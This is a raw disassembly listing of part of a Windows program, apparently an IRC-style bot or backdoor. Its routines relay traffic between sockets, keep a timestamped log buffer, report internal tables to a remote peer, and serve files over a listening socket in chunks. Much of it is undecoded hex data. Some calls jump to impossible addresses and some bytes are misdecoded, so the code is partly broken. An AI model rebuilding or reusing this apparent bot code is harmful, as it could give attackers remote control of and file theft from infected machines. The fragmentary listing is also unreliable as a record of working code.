dd 76CBE8h, 858D5300h, 0FFFFFD2Ch, 0E850196Ah, 0FFFF933Fh
dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 44621488h
dd 8458D00h, 2C858D50h, 56FFFFFFh, 0FBEB6850h, 56560040h
dd 0DBDE890h, 4D8B0229h, 34C969C8h, 3B000002h, 248189C6h
dd 74004462h, 0D8753913h, 0FF63850Fh, 56AFFFFh, 280A34E8h
dd 0EDEB9002h, 0D81E890h, 8D500228h, 0FFFD2C85h, 18A868FFh
dd 0E8500044h, 7650h, 0E90CC483h, 0FFFFFF39h, 0E015FF57h
dd 0FF004453h, 858DC075h, 0FFFFFD2Ch, 4418E468h, 2DE85000h
dd 83000076h, 75390CC4h, 562075D0h, 0FD2C858Dh, 75FFFFFFh
dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF187Dh
dd 8D14C483h, 0FFFD2C85h, 80E850FFh, 0FF000009h, 90E8C475h
dd 59FFFF95h, 0E8905659h, 22F0418h, 555B5E5Fh, 0EC81EC8Bh
dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh
dd 16AD475h, 69087589h, 234F6h, 0B68D5F00h, 44621Ch, 0ACB889h
dd 0DB330000h, 45C7068Bh, 5F8h, 30858900h, 8DFFFFFAh, 5350F845h
dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh
dd 445330h, 1875C085h, 15FF36FFh, 4453E0h, 0E80875FFh
dd 0FFFF950Bh, 0E8905359h, 22F0394h, 30858D53h, 68FFFFFBh
dd 408h, 0FF36FF50h, 44536015h, 7FC08500h, 0FF36FF18h
dd 4453E015h, 875FF00h, 0FF94DAE8h, 905359FFh, 2F0363E8h
dd 30BD8002h, 4FFFFFBh, 1ED850Fh, 0BD800000h, 0FFFFFB31h
dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh, 0FB38858Dh
dd 0E850FFFFh, 7BA4h, 59C08559h, 458D6174h, 858D50BCh
dd 0FFFFFB38h, 19186850h, 0E4E80044h, 68000008h, 400h
dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h
dd 736AE85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah
dd 9815FF36h, 0FF004453h, 0E015FF36h, 0FF004453h, 44E80875h
dd 59FFFF94h, 0CDE89053h, 6A022F02h, 0E8458D10h, 31E85053h
dd 66000073h, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh
dd 6AFFFFFBh, 26A5706h, 0E845C766h, 45890002h, 0C815FFECh
dd 8B004453h, 0FFFF83F8h, 15FF5D75h, 4452DCh, 19586850h
dd 4CE80044h, 68000008h, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
dd 85C6FFFFh, 0FFFFFB31h, 72D2E85Bh, 0C4830000h, 30858D14h
dd 53FFFFFBh, 0FF50086Ah, 9815FF36h, 0FF004453h, 0E015FF36h
dd 0FF004453h, 0ACE80875h, 59FFFF93h, 35E89053h, 8D022F02h
dd 106AE845h, 15FF5750h, 4452F0h, 75FFF883h, 0DC15FF5Dh
dd 50004452h, 44199868h, 7DDE800h, 680000h, 8D000004h
dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
dd 7263E8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
dd 539815FFh, 36FF0044h, 53E015FFh, 75FF0044h, 933DE808h
dd 5359FFFFh, 1C6E890h, 68022Fh, 8D000004h, 0FFFB3885h
dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh, 7217E8h
dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 539815FFh
dd 36FF0044h, 39E857h, 59590000h, 0E015FF57h, 0FF004453h
dd 0E015FF36h, 0FF004453h, 0E0E80875h, 59FFFF92h, 69E89053h
dd 0FF022F01h, 0E015FF36h, 0FF004453h, 0C8E80875h, 59FFFF92h
dd 51E89053h
db 1, 2Fh, 2
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+0Ch]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_40FEC5: ; CODE XREF: ___:0040FF74j
; ___:0040FFA4j
mov [ebp-100h], ebx
mov dword ptr [ebp-104h], 1
xor ecx, ecx
lea eax, [ebp-100h]
loc_40FEDD: ; CODE XREF: ___:0040FEEBj
mov edx, [ebp+8]
cmp [eax], edx
jz short loc_40FEED
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_40FEDD
loc_40FEED: ; CODE XREF: ___:0040FEE2j
cmp ecx, 1
jnz short loc_40FF02
mov [ebp-0FCh], edx
mov dword ptr [ebp-104h], 2
loc_40FF02: ; CODE XREF: ___:0040FEF0j
push esi
lea eax, [ebp-504h]
push edi
push eax
call sub_417070
add esp, 0Ch
lea eax, [ebp-104h]
push edi
push edi
push edi
push eax
push edi
call dword_445330
lea eax, [ebp-104h]
push eax
push ebx
call dword_445234
test eax, eax
jz short loc_40FF62
push edi
lea eax, [ebp-504h]
push esi
push eax
push ebx
call dword_445360
cmp eax, 0FFFFFFFFh
jz short loc_40FFAA
push edi
push eax
lea eax, [ebp-504h]
push eax
push dword ptr [ebp+8]
call dword_445398
cmp eax, 0FFFFFFFFh
jz short loc_40FFAA
loc_40FF62: ; CODE XREF: ___:0040FF34j
lea eax, [ebp-104h]
push eax
push dword ptr [ebp+8]
call dword_445234
test eax, eax
jz loc_40FEC5
push edi
lea eax, [ebp-504h]
push esi
push eax
push dword ptr [ebp+8]
call dword_445360
cmp eax, 0FFFFFFFFh
jz short loc_40FFAA
push edi
push eax
lea eax, [ebp-504h]
push eax
push ebx
call dword_445398
cmp eax, 0FFFFFFFFh
jnz loc_40FEC5
loc_40FFAA: ; CODE XREF: ___:0040FF49j
; ___:0040FF60j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
byte_40FFAF db 55h ; DATA XREF: sub_403038+357Eo
; sub_4097CE+107o
dword_40FFB0 dd 0EC81EC8Bh, 87Ch, 5308558Bh, 16A5756h, 0B958DB33h, 0A9h
dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh
dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 53C815FFh, 0F08B0044h
dd 75FFFE83h, 1906871h, 0E8900000h, 2280595h, 52DC15FFh
dd 8D500044h, 0FFF88885h, 19E468FFh, 0E8500044h, 71B4h
dd 390CC483h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh
dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 0FEE8FFFFh
dd 83FFFF13h, 858D14C4h, 0FFFFF888h, 501E850h, 0B5FF0000h
dd 0FFFFFE98h, 0FF910EE8h, 535959FFh, 0FF96E890h, 458D022Eh
dd 50046AF0h, 0FFFFBFh, 57046A00h, 2815FF56h, 8D004453h
dd 46AEC45h, 57FB6A50h, 2815FF56h, 8B004453h, 0FFFE9885h
dd 69106AFFh, 234C0h, 0B0895300h, 44621Ch, 50D4458Dh, 6FC3E8h
dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 534815FFh
dd 89660044h, 458DD645h, 50106AD4h, 0D85D8956h, 537415FFh
dd 0F8830044h, 681975FFh, 1388h, 4B3E890h, 8DFF0228h, 0FFFFFE9Ch
dd 0E90875FFh, 35Fh, 0FC90858Dh, 1468FFFFh, 5000441Ah
dd 6F4BE8h, 0C33B5900h, 0FC458959h, 90686475h, 0E8000001h
dd 2280481h, 90858D90h, 50FFFFFCh, 0F888858Dh, 1868FFFFh
dd 5000441Ah, 709FE8h, 858D5300h, 0FFFFF888h, 0FF24B5FFh
dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF12F4E8h
dd 88858DFFh, 50FFFFF8h, 3FAE8h, 98B5FF00h, 0E8FFFFFEh
dd 0FFFF9007h, 5328C483h, 0FE8EE890h, 7D8B022Eh, 0A09F3908h
dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h
dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h
dd 1FFh, 6EBEE800h, 0C4830000h, 0E4458D0Ch, 858D5350h
dd 0FFFFF784h, 0FF535053h, 44533015h, 0FC08500h, 2398Eh
dd 63C8A000h, 0CF8B004Dh, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh
dd 45C7FFFFh, 10F4h, 66ABF300h, 458DAAABh, 458D50F4h, 8D5350C4h
dd 0FFFF3085h, 8068FFh, 56500000h, 532015FFh, 75FF0044h
dd 0F84589C8h, 53D415FFh, 8D500044h, 0E850B045h, 6FACh
dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h, 0FFFFFF31h
dd 0BB850F01h, 8D000000h, 0FFFD9485h, 95E850FFh, 53000049h
dd 0FC75FF53h, 9D1BE8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh
dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah
dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 6ABBE8h, 20C48300h
dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h
dd 0FF5650FFh, 4453AC15h, 0B0458D00h, 88858D50h, 68FFFFF8h
dd 441A3Ch, 6F16E850h, 0C4830000h, 289D390Ch, 75FFFFFFh
dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h
dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF1160E8h, 14C483FFh, 0F888858Dh
dd 0E850FFFFh, 263h, 110E959h, 0BD800000h, 0FFFFFF31h
dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh
dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h
dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h
dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h
dd 200BFh, 9E0C100h, 5053C72Bh, 0E8FC75FFh, 9C0Ch, 8DFC75FFh
dd 0FFFA8C85h, 16A57FFh, 69CAE850h, 0C4830000h, 8DF88B1Ch
dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h
dd 15FF5650h, 4453ACh, 6E75FB3Bh, 50B0458Dh, 0F888858Dh
dd 6068FFFFh, 5000441Ah, 6E1FE8h, 0CC48300h, 0FF289D39h
dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh
dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF1069h, 8D14C483h
dd 0FFF88885h, 6CE850FFh, 0FF000001h, 4D5ADC05h, 16EB5900h
dd 8DF475FFh, 5350C445h, 7868096Ah, 5600441Ah, 53AC15FFh
dd 5D390044h, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh, 4453E015h
dd 0FC75FF00h, 483BE8h, 9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h
dd 0FE98B5FFh, 30E8FFFFh, 59FFFF8Dh, 0FBBAE853h, 6890022Eh
dd 3E8h, 147E890h, 0E8570228h, 0FFFFFB57h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41045F proc near ; CODE XREF: sub_403038+54C8p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_445490
mov edi, 0B8h
loc_410473: ; CODE XREF: sub_41045F+33j
cmp byte ptr [esi], 0
jz short loc_410496
push [ebp+arg_0]
push esi
call sub_417870
pop ecx
test eax, eax
pop ecx
jz short loc_410496
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_446010
jl short loc_410473
jmp short loc_4104D8
; ---------------------------------------------------------------------------
loc_410496: ; CODE XREF: sub_41045F+17j
; sub_41045F+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_445490[esi]
push ebx
call sub_417070
push 17h
push [ebp+arg_0]
push ebx
call sub_417770
push 9Fh
lea eax, dword_4454A8[esi]
push [ebp+arg_4]
push eax
call sub_417770
add esp, 24h
inc dword_437028
pop ebx
loc_4104D8: ; CODE XREF: sub_41045F+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_41045F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4104DF proc near ; CODE XREF: sub_403038+3D10p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_441A84
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401445
add esp, 14h
xor edi, edi
mov esi, offset dword_445490
loc_410509: ; CODE XREF: sub_4104DF+72j
cmp byte ptr [esi], 0
jz short loc_410544
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_441A98
lea eax, [ebp+var_200]
push 200h
push eax
call sub_4172D0
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401445
add esp, 2Ch
loc_410544: ; CODE XREF: sub_4104DF+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_446010
jl short loc_410509
pop edi
pop esi
leave
retn
sub_4104DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410557 proc near ; CODE XREF: sub_40219C+320p
; sub_402599+B0p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call near ptr 27B0186h
nop
mov ebx, offset dword_4DA3CC
mov edi, 80h
mov esi, offset dword_4D63CC
loc_410579: ; CODE XREF: sub_410557+3Dj
cmp byte ptr [ebx], 0
jz short loc_410590
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_417770
add esp, 0Ch
loc_410590: ; CODE XREF: sub_410557+25j
sub ebx, edi
cmp ebx, esi
jge short loc_410579
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_4172D0
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_410557 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4105CB proc near ; CODE XREF: sub_402D58+F7p
; sub_403038:loc_408249p ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_4170D0
lea eax, [ebp+var_80]
push eax
call sub_410557
add esp, 14h
leave
retn
sub_4105CB endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+14h], ebx
push esi
mov dword ptr [ebp-8], 80h
mov [ebp-4], ebx
jnz short loc_410626
push ebx
push dword ptr [ebp+10h]
push offset dword_441AD0
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_401445
add esp, 14h
loc_410626: ; CODE XREF: ___:0041060Dj
cmp [ebp+18h], ebx
jz short loc_41063E
push dword ptr [ebp+18h]
call sub_4174D0
cmp eax, ebx
pop ecx
mov [ebp-4], eax
jz short loc_41063E
mov [ebp-8], eax
loc_41063E: ; CODE XREF: ___:00410629j
; ___:00410639j
mov [ebp+14h], ebx
mov esi, offset dword_4D63CC
loc_410646: ; CODE XREF: ___:0041068Ej
mov eax, [ebp+14h]
cmp eax, [ebp-8]
jge short loc_410690
cmp [esi], bl
jz short loc_41067F
cmp [ebp+18h], ebx
jz short loc_41066B
cmp [ebp-4], ebx
jnz short loc_41066B
push dword ptr [ebp+18h]
push esi
call sub_411C4F
pop ecx
test eax, eax
pop ecx
jz short loc_41067F
loc_41066B: ; CODE XREF: ___:00410655j
; ___:0041065Aj
push 1
push dword ptr [ebp+10h]
push esi
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_401445
add esp, 14h
loc_41067F: ; CODE XREF: ___:00410650j
; ___:00410669j
inc dword ptr [ebp+14h]
add esi, 80h
cmp esi, offset dword_4DA3CC
jl short loc_410646
loc_410690: ; CODE XREF: ___:0041064Cj
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_410694 proc near ; CODE XREF: sub_403038+3C07p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_4D63CC
xor ecx, ecx
loc_41069B: ; CODE XREF: sub_410694+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_4DA3CC
jl short loc_41069B
cmp [esp+arg_C], ecx
jnz short loc_4106C9
push ecx
push [esp+4+arg_8]
push offset dword_441ADC
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_401445
add esp, 14h
loc_4106C9: ; CODE XREF: sub_410694+19j
push offset dword_441AF0
call sub_410557
pop ecx
retn
sub_410694 endp
; ---------------------------------------------------------------------------
push esi
mov esi, offset dword_4D63CC
loc_4106DB: ; CODE XREF: ___:004106FCj
cmp byte ptr [esi], 0
jz short loc_4106F0
push dword ptr [esp+8]
push esi
call sub_411C4F
pop ecx
test eax, eax
pop ecx
jnz short loc_410702
loc_4106F0: ; CODE XREF: ___:004106DEj
add esi, 80h
cmp esi, offset dword_4DA3CC
jl short loc_4106DB
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_410702: ; CODE XREF: ___:004106EEj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
byte_410707 db 55h ; DATA XREF: sub_403038+3CBAo
; ---------------------------------------------------------------------------
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+8]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp-11Ch]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp-10h], edx
mov dword ptr [ebp-8], 80h
mov [ebp-4], edx
mov [eax+110h], edi
jnz short loc_41075A
push edx
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
push offset dword_441B04
push eax
push dword ptr [ebp-11Ch]
call sub_401445
add esp, 14h
loc_41075A: ; CODE XREF: ___:0041073Aj
cmp byte ptr [ebp-98h], 0
jz short loc_41077A
lea eax, [ebp-98h]
push eax
call sub_4174D0
test eax, eax
pop ecx
mov [ebp-4], eax
jz short loc_41077A
mov [ebp-8], eax
loc_41077A: ; CODE XREF: ___:00410761j
; ___:00410775j
and dword ptr [ebp+8], 0
mov esi, offset dword_4D63CC
loc_410783: ; CODE XREF: ___:004107DBj
mov eax, [ebp+8]
cmp eax, [ebp-8]
jge short loc_4107DD
cmp byte ptr [esi], 0
jz short loc_4107CC
cmp byte ptr [ebp-98h], 0
jz short loc_4107B2
cmp dword ptr [ebp-4], 0
jnz short loc_4107B2
lea eax, [ebp-98h]
push eax
push esi
call sub_411C4F
pop ecx
test eax, eax
pop ecx
jz short loc_4107CC
loc_4107B2: ; CODE XREF: ___:00410797j
; ___:0041079Dj
push edi
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
push esi
push eax
push dword ptr [ebp-11Ch]
call sub_401445
add esp, 14h
loc_4107CC: ; CODE XREF: ___:0041078Ej
; ___:004107B0j
inc dword ptr [ebp+8]
add esi, 80h
cmp esi, offset dword_4DA3CC
jl short loc_410783
loc_4107DD: ; CODE XREF: ___:00410789j
lea eax, [ebp-31Ch]
push offset dword_441B20
push eax
call sub_4171D0
xor esi, esi
pop ecx
cmp [ebp-10h], esi
pop ecx
jnz short loc_410817
push esi
lea eax, [ebp-31Ch]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-118h]
push eax
push dword ptr [ebp-11Ch]
call sub_401445
add esp, 14h
loc_410817: ; CODE XREF: ___:004107F5j
lea eax, [ebp-31Ch]
push eax
call sub_410557
push dword ptr [ebp-18h]
call sub_40916F
pop ecx
pop ecx
push esi
nop
; ---------------------------------------------------------------------------
db 0E8h
db 0CCh
; ---------------------------------------------------------------------------
imul dword ptr [esi]
add bl, [edi+5Eh]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410836 proc near ; CODE XREF: ___:00410EDEp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4453C8
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_4108B2
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_417070
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_445348
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_445388
cmp eax, esi
jnz short loc_410897
push [ebp+arg_0]
call dword_4453CC
test eax, eax
jz short loc_4108B2
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_410897: ; CODE XREF: sub_410836+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4452F0
cmp eax, esi
jnz short loc_4108B6
push edi
call dword_4453E0
loc_4108B2: ; CODE XREF: sub_410836+1Bj
; sub_410836+58j
mov eax, esi
jmp short loc_4108B8
; ---------------------------------------------------------------------------
loc_4108B6: ; CODE XREF: sub_410836+73j
mov eax, edi
loc_4108B8: ; CODE XREF: sub_410836+7Ej
pop edi
pop esi
leave
retn
sub_410836 endp
; ---------------------------------------------------------------------------
dword_4108BC dd 0B8EC8B55h, 11B4h, 7557E8h, 8458B00h, 6A575653h, 59F08B6Dh
; DATA XREF: sub_403038+9EDo
dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h
dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh
dd 4C858D52h, 68FFFFEEh, 441B3Ch, 68C2E850h, 0FF330000h
dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
dd 0FFFFFF6Ch, 16E85350h, 83FFFF0Bh, 858D14C4h, 0FFFFEE4Ch
dd 0FC19E850h, 75FFFFFFh, 8829E8F0h, 5959FFFFh, 0F6B2E856h
dd 6890022Eh, 4DA3D4h, 3088E853h, 83590000h, 7559FFF8h
dd 4C858D59h, 68FFFFEEh, 441B60h, 685EE850h, 0FF330000h
dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
dd 0FFFFFF6Ch, 0B2E85350h, 83FFFF0Ah, 858D14C4h, 0FFFFEE4Ch
dd 0FBB5E850h, 5359FFFFh, 53E015FFh, 75FF0044h, 87BDE8F0h
dd 5659FFFFh, 0F646E890h, 646A022Eh, 0FBD7E890h, 0FF330227h
dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 99E85057h, 83000066h
dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 536015FFh, 0C0850044h
dd 858D387Eh, 0FFFFEE4Ch, 441B9068h, 0D1E85000h, 8D00007Ah
dd 0FFEE4C85h, 0C3E850FFh, 8300002Dh, 0C0850CC4h, 646A1474h
dd 0FB7FE890h, 0A6A0227h, 0FF867AE8h, 59C085FFh, 858DA375h
dd 0FFFFEE4Ch, 441B9468h, 99E85000h, 39000067h, 5959F87Dh
dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh
dd 9EFE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh, 0FFFAF2E8h
dd 0FF5359FFh, 4453E015h, 0F075FF00h, 0FF86FAE8h, 905759FFh
dd 2EF583E8h
db 2
; ---------------------------------------------------------------------------
loc_410A7D: ; DATA XREF: sub_403038+2CB5o
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1FCh]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp-10h], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp-0Ch], esi
mov [ebp-20h], esi
call dword_4453C8
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp-18h], edi
jnz short loc_410ACB
push offset unk_441BC8
jmp loc_410C84
; ---------------------------------------------------------------------------
loc_410ACB: ; CODE XREF: ___:00410ABFj
push 10h
lea eax, [ebp-30h]
push esi
push eax
call sub_417070
add esp, 0Ch
mov word ptr [ebp-30h], 2
push esi
call dword_445348
mov [ebp-2Eh], ax
lea eax, [ebp-30h]
push 10h
push eax
push edi
mov [ebp-2Ch], esi
call dword_445374
test eax, eax
jz short loc_410B09
push offset unk_441BEC
jmp loc_410C84
; ---------------------------------------------------------------------------
loc_410B09: ; CODE XREF: ___:00410AFDj
lea eax, [ebp-1Ch]
mov dword ptr [ebp-1Ch], 10h
push eax
lea eax, [ebp-30h]
push eax
push edi
call dword_4452EC
push dword ptr [ebp-2Eh]
call dword_445278
mov [ebp-4], eax
lea eax, [ebp-1E0h]
push eax
mov [ebp+8], esi
call sub_414BE0
pop ecx
loc_410B3B: ; CODE XREF: ___:00410B6Cj
mov ecx, [ebp+8]
mov al, [ebp+ecx-1E0h]
cmp al, 20h
jnz short loc_410B4E
push 5Fh
pop eax
jmp short loc_410B51
; ---------------------------------------------------------------------------
loc_410B4E: ; CODE XREF: ___:00410B47j
movsx eax, al
loc_410B51: ; CODE XREF: ___:00410B4Cj
mov [ebp+ecx-604h], al
lea eax, [ebp-1E0h]
inc ecx
push eax
mov [ebp+8], ecx
call sub_414BE0
cmp [ebp+8], eax
pop ecx
jbe short loc_410B3B
push ebx
push edi
call dword_445370
test eax, eax
jz short loc_410B84
push offset unk_441C10
jmp loc_410C84
; ---------------------------------------------------------------------------
loc_410B84: ; CODE XREF: ___:00410B78j
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp-1E0h]
push 80000000h
push eax
nop
call near ptr 2760000h
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_410BAE
push offset unk_441C34
jmp loc_410C84
; ---------------------------------------------------------------------------
loc_410BAE: ; CODE XREF: ___:00410BA2j
push esi
push eax
nop
call near ptr 2750B9Bh
mov [ebp+8], eax
push eax
movzx eax, word ptr [ebp-4]
push eax
push dword ptr [ebp-1FCh]
call sub_40267D
pop ecx
push eax
call dword_445388
push eax
call dword_445344
push eax
lea eax, [ebp-1E0h]
push eax
lea eax, [ebp-3FCh]
push offset dword_441C54
push eax
call sub_4171D0
push esi
lea eax, [ebp-3FCh]
push esi
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_401445
add esp, 2Ch
lea eax, [ebp-38h]
mov dword ptr [ebp-38h], 3Ch
mov [ebp-34h], esi
push eax
push esi
lea eax, [ebp-500h]
push esi
push eax
push esi
mov [ebp-4FCh], edi
mov [ebp-500h], ebx
call dword_445330
test eax, eax
jg short loc_410C5E
push esi
lea eax, [ebp-0DCh]
push dword ptr [ebp-54h]
push offset dword_441C6C
push eax
push dword ptr [ebp-1FCh]
call sub_401445
jmp loc_410D82
; ---------------------------------------------------------------------------
loc_410C5E: ; CODE XREF: ___:00410C3Cj
lea eax, [ebp-14h]
mov dword ptr [ebp-14h], 10h
push eax
lea eax, [ebp-48h]
push eax
push edi
call dword_4453DC
cmp eax, 0FFFFFFFFh
mov [ebp-1F8h], eax
jnz short loc_410C97
push offset unk_441C84
loc_410C84: ; CODE XREF: ___:00410AC6j
; ___:00410B04j ...
lea eax, [ebp-3FCh]
push eax
call sub_4171D0
pop ecx
pop ecx
jmp loc_410D85
; ---------------------------------------------------------------------------
loc_410C97: ; CODE XREF: ___:00410C7Dj
push edi
call dword_4453E0
cmp [ebp+8], esi
jz loc_410D49
mov edi, 400h
loc_410CAC: ; CODE XREF: ___:00410D40j
mov eax, [ebp+8]
mov [ebp-4], edi
cmp eax, edi
jge short loc_410CB9
mov [ebp-4], eax
loc_410CB9: ; CODE XREF: ___:00410CB4j
push edi
lea eax, [ebp-0A04h]
push esi
push eax
call sub_417070
mov eax, [ebp+8]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push dword ptr [ebp-8]
nop
call near ptr 27A0000h
lea eax, [ebp-20h]
push esi
push eax
lea eax, [ebp-0A04h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8]
nop
call near ptr 2730000h
push esi
lea eax, [ebp-0A04h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-1F8h]
call dword_445398
mov [ebp-4], eax
push esi
cdq
add [ebp-10h], eax
lea eax, [ebp-0A04h]
push edi
push eax
push dword ptr [ebp-1F8h]
adc [ebp-0Ch], edx
call dword_445360
